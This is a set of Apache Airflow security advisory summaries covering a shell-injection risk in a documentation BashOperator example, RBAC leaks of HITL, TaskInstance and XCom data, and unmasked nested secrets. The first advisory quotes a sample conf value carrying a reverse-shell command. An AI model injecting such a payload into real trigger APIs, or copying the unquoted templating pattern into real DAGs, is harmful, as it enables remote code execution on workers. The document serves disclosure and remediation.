Kevin Yang

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash command="echo value: {{ dag run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

**Name of the Vulnerable Software and Affected Versions** Airflow versions prior to 3.2.1 **Description** The authenticated '/ui/dags' endpoint fails to enforce per-DAG access control on embedded Human-in-the-Loop (HITL) and TaskInstance records. This allows a logged-in user with read access to at least one DAG to retrieve HITL prompts, including their request parameters, and full TaskInstance details for DAGs outside their authorized scope. Since HITL prompts and TaskInstance fields often contain operator parameters and free-form context, this issue expands the visibility of DAG-run data beyond the intended Role-Based Access Control (RBAC) boundaries for all authenticated users. **Recommendations** Upgrade to version 3.2.1.

**Name of the Vulnerable Software and Affected Versions** Apache Airflow (affected versions not specified) **Description** An example of BashOperator in the documentation suggested a method of passing `dag run.conf` that allows unsanitized user input to be used. This can lead to a privilege escalation where a UI user can execute code on the worker. **Recommendations** Review all DAGs to ensure they have not adopted the incorrect documentation advice regarding the use of `dag run.conf` in BashOperator.

**Name of the Vulnerable Software and Affected Versions** Apache Airflow versions prior to 3.2.0 **Description** Secrets stored within variables as JSON dictionaries are not properly redacted. When a user retrieves these variables, secrets located in nested fields are not masked. **Recommendations** Upgrade to version 3.2.0.

Name of the Vulnerable Software and Affected Versions Apache Airflow versions 3.0.0 through 3.1.8 Description The DagRun wait endpoint in Apache Airflow allows users with DAG Run read permissions, such as the Viewer role, to access XCom result values. This behavior contradicts the intended security model where XCom is a protected resource and the Viewer role should be read-only. Recommendations Upgrade to Apache Airflow version 3.2.0.